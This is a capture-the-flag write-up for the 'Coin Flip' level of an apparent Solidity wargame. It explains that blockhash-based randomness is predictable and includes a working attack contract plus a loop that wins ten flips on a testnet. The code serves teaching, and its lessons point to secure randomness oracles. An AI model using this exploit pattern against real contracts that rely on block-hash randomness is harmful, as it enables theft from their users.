Level 3: Coin Flip

Challenge Overview:

The Coin Flip challenge demonstrates how on-chain randomness can be exploited. The goal is to correctly guess the outcome of a coin flip multiple times in a row.

Goal:

Win the coin flip 10 times consecutively.

Solution:

The CoinFlip contract relies on block hashes to determine the coin flip outcome:

bool side = uint256(blockhash(block.number - 1)) % 2 == 0;

Since block hashes are deterministic, you can predict the outcome by replicating the logic off-chain.

1. Deploy an attack contract on REMIX IDE (I used Sepolia testnet):

interface ICoinFlip { function flip(bool _guess) external returns (bool); } 
 
contract CoinFlipAttack {  ICoinFlip public target;   
uint256 lastHash;     

constructor(address _target) {     
    target = ICoinFlip(_target);     }     
 
function attack() public {        
   uint256 blockValue = uint256(blockhash(block.number - 1));      
   bool guess = blockValue % 2 == 0;         
   target.flip(guess);     } }

2. Call the attack function repeatedly to win 10 flips:

for (let i = 0; i < 10; i++) {  await attack.attack(); }

Lessons Learned:

• On-chain randomness is not secure because block data is deterministic.

• The ideal practice is to use off-chain oracles like Chainlink VRF for secure randomness.